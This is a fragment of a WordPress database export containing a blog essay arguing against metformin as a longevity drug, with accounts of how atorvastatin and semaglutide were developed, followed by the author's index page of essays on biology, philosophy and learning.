-->\n<p>But, I’m too much of a worrier to go blindly off in the pursuit of a good time without some ground rules. The repurposing field is littered with the corpses of research papers of poor scientists who ventured off without ground rules, and got stuck arguing for years that <a href=\"https://en.wikipedia.org/wiki/Curcumin#Research\">curcumin (the main compound in turmeric) is a cure-all</a>, only to find out that <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5430405/\">curcumin is just a molecule that interferes a lot with assays</a>.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://m.media-amazon.com/images/I/81Gvb-ayugL._SX569_.jpg\" alt=\"Amazon.com : Chef Piñeiro&#39;s All Seasoning With Turmeric From Puerto Rico,  Sazonador Con Curcuma, 10.5 Ounce (Pack of 3) : Grocery &amp; Gourmet Food\"/><figcaption>Yet another immortal walking in our midst. In this photo, Chef Pineiro is making the universal symbol for \"No man may slay me\".</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, here are my ground rules for being safe while looking for possible repurposing of drugs like metformin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Any proposed repurposed indication needs to be supported by at least a vaguely plausible mechanism AND a human case study OR a retrospective study in humans</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. If a meta-analysis suggests your repurposed indication is wrong, you better have a really, really good reason as to why the meta-analysis is looking at the wrong thing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. If you want to support your mechanism with animal studies, you better have spent a ton of effort making sure that the animal studies can translate to humans</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why I have these rules is to prioritize the highest quality evidence, absent the sort of randomized controlled trial that’s the real gold standard of drug discovery. So, the highest quality evidence is actual, visible, incontrovertible evidence in humans, supported by theory. If the theory gets overturned, that’s a bad sign but not necessarily a dealbreaker. If the evidence in humans gets overturned, that’s generally a really bad sign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, metformin as a longevity drug fails all these rules. Let me use <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8374068/\">this review paper</a> as a guide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, if we take a look at the proposed mechanism of metformin as a longevity drug, we get a lot of suggestive stuff about metformin impacting “insulin growth factor 1” and “AMP-activated kinase”, leading to extended lifespan. Unfortunately, all of these impacts happen in C. elegans (a.k.a. roundworms). I would have to see a lot of evidence to extend a result from roundworms to humans, but metformin proponents expect me to just take it at face value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, the retrospective studies that try to link metformin to longevity are, generally speaking, not great. The authors try to link the mild weight loss associated with metformin to caloric restriction, then try to argue the long lifespan of Okinawans is due to caloric restriction. Not only is that explanation of the long lifespan of Okinawans arguable, but literally any weight loss drug could be linked to longevity in that way (like, for example, meth).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":395,\"height\":395} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://www.pinkvilla.com/imageresize/Aaron%20Paul%20to%20reprise%20his%20role%20of%20Jesse%20Pinkman%20in%20the%20sequel%20of%20the%20show%20Breaking%20Bad%20%281%29.jpg?width=752&amp;format=webp&amp;t=pvorg\" alt=\"Breaking Bad Movie: Aaron Paul to reprise his role of Jesse Pinkman in the  sequel on the big screen | PINKVILLA\" width=\"395\" height=\"395\"/><figcaption>This man is actually 85. Thanks, meth!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Finally, and most damningly, the meta-analysis really doesn’t support the indication. The <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3323508/\">largest meta-analysis of patients with type 2 diabetes on metformin</a> showed basically zero effect of metformin on mortality, cardiovascular disease, or cardiovascular conditions. Given that type 2 diabetics should be the patients who’d benefit most from metformin, this is especially bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, overall, my cautious self would not be overall too eager to follow metformin down the longevity path. If I were cynical, I might write a book or make a podcast advocating it to other people (ahem), but I would not stake my own money on metformin as a longevity drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I assume if I showed this evidence to metformin advocates, however, they would not agree that this is an indication that metformin is not a longevity-promoting drug. They might argue that metformin’s impacts on longevity are real, but only exist in the super high doses that we can give mice but not humans. They’d continue to say that metformin’s true capabilities have yet to be unlocked because it’s not fully developed for longevity. Give metformin 30 years of development, they’d say. It’ll get developed into super-metformin just in time for you to avoid needing Medicare.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can probably guess, I don’t agree with this. Even if I think there are some latent abilities of metformin to promote longevity (which I doubt), I don’t think it’s likely that we’ll have super-metformin in 30 years, even with the multimillion dollar startups that are no doubt working on it right now. This is because metformin, in its current state, does not fit well onto the pharma development pathway, and no amount of money will change that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to explain this, let me explain how pharma development normally works. Not only will this be informative in terms of what the development of metformin should be (but isn’t), but it’ll also be an interesting exploration of one of the few high-tech fields that actively shares their work with the public.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of talking in the abstract, however, I’ll be using the examples of Lipitor (atorvastatin), the best selling drug of all time, and the recent, super exciting weight loss drug Wegovy (semaglutide). I’ll talk about how they were developed, and then loop back to how metformin can’t be developed in the same way, no matter how many years or dollars we give it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://pbs.twimg.com/media/EIwx0A4U0AAvCFg.png\" alt=\"Maryanne Demasi, PhD on Twitter: &quot;Lipitor - the most profitable drug in the  history of medicine - still generates ~$1.5 billion/yr for Pfizer, even  though its patent expired 8yrs ago. Worldwide sales\"/><figcaption>Lipitor made, and makes, ungodly amounts of money. For comparison, the entire company of McDonald\'s makes $21 billion/year.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Let’s first start with Lipitor. Fortunately for us, there’s an excellent paper written by Bruce Roth, who was largely responsible for the invention of Lipitor, on <a href=\"https://www.sciencedirect.com/science/article/pii/S0079646808700808\">how he did it</a>. So, I’ll rely on that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The invention of Lipitor started with a highly specific understanding of a specific pathway in the body: the cholesterol biosynthesis pathway. From the very beginning of the invention of Lipitor, scientists were aware of the exact pathway, the steps involved in the pathway, and which specific step in the pathway needed to be inhibited in order to safely lower cholesterol in animals or humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Starting off with this knowledge had a number of advantages.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, it allowed them to be able to quickly identify small molecules that did what they needed to do, including the random fungal extract that happened to inhibit exactly the right step in the cholesterol biosynthesis pathway. All subsequent inhibitors were based on that fungal extract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, it gave them confidence on what exact <em>in vitro</em> and animal models they could test any inhibitors on. They tested all variations on that fungal inhibitor on rat, dog, monkey, and human liver while it was being developed. Then, once they picked an ideal inhibitor, they also tested it in live rabbits, dogs, and guinea pigs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, it let the scientists know exactly what to optimize for. They needed an inhibitor that was non-toxic and was as effective as possible on inhibiting that specific pathway. These were the two parameters they optimized for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With these three advantages, the invention of atorvastatin was a chemistry problem, rather than a biology problem. If you read the account of the inventor, the chemistry was very clever (if you’d like a rundown on this clever chemistry, follow the footnote [1]), but, still, the exact knowledge of the pathway involved made this process solvable with enough work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The story of the invention of semaglutide follows the same basic outlines, even though semaglutide is a more complex drug that relied on more complex discovery processes. Once again, I’ll be relying on an <a href=\"https://www.frontiersin.org/articles/10.3389/fendo.2019.00155/full\">account of the invention by the inventors themselves</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Semaglutide, unlike atorvastatin, is a peptide hormone, or a short chain of amino acids that is distributed throughout the body. Atorvastatin is just classified as a statin, which is a type of small molecule. Peptides are not only trickier to modify chemically, they’re trickier to even see if you have modified them chemically, as x-ray crystallography doesn’t work with them. To get an idea of why this might be, I’ve put pictures of the chemical structures of atorvastatin and semaglutide below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/r2nwHRwQGd76pgycf2dowMUpOIbjXufKX4ZRnBKhVDiCeKC7HKbRAYOSVoYu2EPU4xBqvJgKuaQfeV-iB7IteMtG4u3vqT-7YXg3vfnErwGjoJ_qKqEnhaSiZ5JKkxJO5xQCHGRQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/NFSbYFyiv6h3h9RjD_S7w8oZtm-RInYldQMMk37KTAEDEcdsaPMXvvfwI_Yp3DP31aiaPGrIgCZzeY3kUvYIzILQkRWMk27hkLqCpZazNnyt6ni4CIIAxChaJdfE8npP_SVZUSZR\" alt=\"\"/><figcaption>Guess which molecule is harder to make behave?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is why, technically, the development of semaglutide was a much more difficult task than the development of atorvastatin. A number of techniques were used that weren’t available to the atorvastatin team: alanine scanning to be able to determine the structure, attaching fatty acids to facilitate the binding of the peptide to albumin, and cloned human GLP-1 receptors in baby hamster kidney cells to check the binding (for more information on these clever techniques, check out footnote [2]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, what’s important to note is what stayed the same between atorvastatin and semaglutide: a deep knowledge of GLP-1, the GLP-1 receptor, and what exactly the function of GLP-1 is in the body. In the case of GLP-1, it was primarily that GLP-1 triggered insulin secretion, and then later that GLP-1 could result in weight loss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Once again, as they tested their various synthetic versions of GLP-1 on human GLP-1 receptors, rats, minipigs, and mice, they could check for receptor binding, toxicology, and insulin response. There were missteps along the way, like taspoglutide, which made it all the way to phase III trials before they realized it could cause anaphylactic shock. However, they always knew what their north star was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not the case for metformin. Metformin not only lacks a target for longevity, it lacks a target for its main indication, too, type 2 diabetes. Without a clear target, there’s no optimizing, which means there’s no way to put metformin on the pharma development treadmill.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m hopeful that fundamental longevity research will start identifying definite pathways and targets for metformin, which would make a huge difference for this drug development process. The only alternative is to rely on some completely different drug development process that allows optimizing for essentially unknown pathways. While AI/machine learning drug development companies promise that this can be done, I will believe it when I see it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Ok, so here’s the chemistry as he writes it/I understand it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They knew they needed an inhibitor of cholesterol biosynthesis. However, they were gun-shy because the first attempt at an inhibitor of cholesterol biosynthesis was <a href=\"https://en.wikipedia.org/wiki/Triparanol#:~:text=Triparanol%20(%20INN%20%2C%20BAN%20%3B%20brand,the%20United%20States%20in%201960.\">triparanol</a>, which was introduced in 1959 before extensive toxicology was required for new drugs. Unfortunately, what toxicology would have revealed was that triparanol, by inhibiting the last step in cholesterol biosynthesis, causes a build-up in the penultimate product in the pathway, desmosterol. Accumulation of desmosterol is super bad because there’s no biological way to get rid of it, and eventually you get cataracts and other bad side effects. This ended up being discovered 3 years after triparanol was released to the public and caused a bunch of people to go blind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead, the hypothesis was that you could inhibit cholesterol earlier in the pathway. Specifically, if you stop the pathway at the point that HMG-CoA turns into mevalonic acid, you end up with a lot of HMG-CoA instead. This is a lot easier to get rid of because HMG-CoA is also part of the <a href=\"https://en.wikipedia.org/wiki/Ketogenesis\">ketogenesis</a> pathway, so the body has ways of getting rid of it already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Everyone was looking for an inhibitor of the specific enzyme that turns HMG-CoA into mevalonic acid, HMGR. A scientist in Japan, <a href=\"https://en.wikipedia.org/wiki/Akira_Endo_(biochemist)\">Akira Endo</a>, hypothesized that fungi used chemicals to ward off parasitic organisms by inhibiting cholesterol synthesis, based on the fact that fungi use ergosterol instead of cholesterol (so they could inhibit cholesterol synthesis without hurting themselves). Then he studied 6000 compounds isolated from fungi and found 3 that worked, which is one way of doing it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most potent chemical that Endo found was called compactin. After he published his findings, everyone else also started looking at fungal metabolites, and soon enough Merck and Sankyo isolated their own fungal metabolites to inhibit cholesterol biosynthesis. Merck also found something interesting: that “ortho-biphenyl containing 3,5-dihydroxy-6-heptenoic acids and their lactones … were equipotent to the fungal metabolites at inhibiting HMGR in vitro.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Merck publicized this finding in a patent, and probably expected this to be a neat finding and a good way to shore up their own fungal metabolite’s intellectual property (by preventing anyone else from chemically synthesizing something similar). However, Bruce Roth and his team read this, and realized that Merck had just given away the key: this specific part of the fungal metabolite was the only important part to inhibit cholesterol biosynthesis. Everything else was useless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Or, in Bruce’s own words: “the key requirements for potent inhibition of HMGR were a mevalonolactone/3,5-dihydroxy-heptanoic or -6-heptenoic acid moiety and a large lipophilic group held in the correct spatial relationship by a spacer or template group…virtually any ring system which fulfilled this requirement would lead to a series of potent inhibitors.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was the starting point. Then they actually had to figure out the easiest way to construct this ring system. They eventually settled on the 1H-pyrrole system, which they were very familiar with and comfortable with working in. They constructed 30 different versions of this ring to try to figure out the correct spatial relationship. Unfortunately, once they did so and found the best possible version of the ring, they realized that it still wasn’t good enough. It was only 1/10th as good as the fungal metabolite. They (and Merck) must have been missing something else. But what?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They decided to go the simple way about it and just overlay their chemical diagram on top of Merck’s and see what was missing, as seen below. When they did so, they realized they were missing Merck’s methyl group. So, they tried putting in a methyl group, and voila! It was a successful inhibitor!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/YaOqTfKtZCSUeM3Idk-8fIFjvjiKerH4iSBMaD45PRVNthK-DjpiLrQgAnLLmzTtKO9rNASt4wZfdwTcB9R3ik5VQtayy3X5Xo2ohJhecCrz8z1FgZTQgUTREGhpDRThXi6Lpo29\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Of course, in biochemistry, nothing’s ever so easy. As it turned out, this new compound was more effective at inhibition, but it was also way more toxic than the old compound. Instead of giving up on this tact, however, they decided to once again create a bunch of variations on this compound in order to find one that was less toxic. In this case, they thought that the toxicity came from the bromines that had been introduced with the methyl group, so they created 20 different versions with substitutions for the bromines and tested them all in rabbits and dogs. Eventually, they found one: atorvastatin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They then faced a critical decision: whether to develop the compound as a racemate (a mixture of bioactive and non-bioactive versions of a drug) or the stereoisomer (the pure version). A racemate would be cheaper and easier to develop and manufacture, but the purified stereoisomer would place less stress on the body and require less drug to be effective.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Atorvastatin was already likely to be coming onto the market 10 years after the fungal metabolites by the time they made this decision. One way to look at that fact was, “We need to get this out of the door ASAP before we spend any more money on it.” Bruce took the other point of view, “We need something that’s incredibly good in order to displace the fungal metabolites”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they decided to go the expensive route, and developed the compound as a stereoisomer. Then they tested it in healthy volunteers, and found that it lowered cholesterol more effectively than any other drug on the market. The rest was history.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This stuff is more advanced than the atorvastatin stuff, so I am largely out of my depth. That’s never stopped me before, though, so I’m going to do my best.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The central problem with using biologic GLP-1 as a therapy, as mentioned, was that it had a short half-life. So all efforts were focused on creating a version of GLP-1 that had a long half-life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The old methods of creating a drug with a long half-life don’t work for a giant peptide like GLP-1. It’s way too big. So, a new way of creating a drug with a long half-life is to bind it to albumin, which is an all-purpose carrier protein in the body. Makes sense, right? Just use the body’s method of carrying proteins and preventing them from breaking down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to get albumin to carry a peptide, though, you need a peptide-based ligand, or something to chemically attach the protein to the albumin. Before any of the stuff with semaglutide, a lot of work had been done to try to find these ligands. The original team built off this work to find ligands that could reversibly bind to albumin (i.e. GLP-1 could be attached to albumin for transport, and then unattached for use).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to see what they could attach to GLP-1 without messing up its function, they employed an alanine scan. In an alanine scan, each amino acid in a peptide is subsequently replaced by alanine to see which amino acid actually does. It’s sort of like figuring out how a radio works by taking one piece out at a time then seeing how the radio functions without it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, they found the parts of GLP-1 that were necessary for its function and shouldn’t be messed with, and then the parts that weren’t necessary and could have ligands attached to it. Then, they again used the technique of creating a bunch of versions of GLP-1 with ligands attached to it to see which had both a good attachment to albumin and were still functional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From this exploration, they created liraglutide, the first effective GLP-1 agonist. Novo Nordisk took this work and improved on it by noticing that compounds that bound really well to albumin bound less well to GLP-1 receptors, probably because there was competition between them. They did stuff I don’t entirely understand with fatty acids to split the difference and come up with semaglutide, which they then tested on diabetic mice. It worked well on mice and had a long half-life, so they knew they had a hit product.</p>\n<!-- /wp:paragraph -->','Should you take metformin for longevity?','','inherit','closed','closed','','253-revision-v1','','','2021-12-29 16:30:57','2021-12-29 16:30:57','',253,'https://trevorklee.com/?p=254',0,'revision','',0),
(256,1,'2022-01-01 00:01:31','2022-01-01 00:01:31','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph 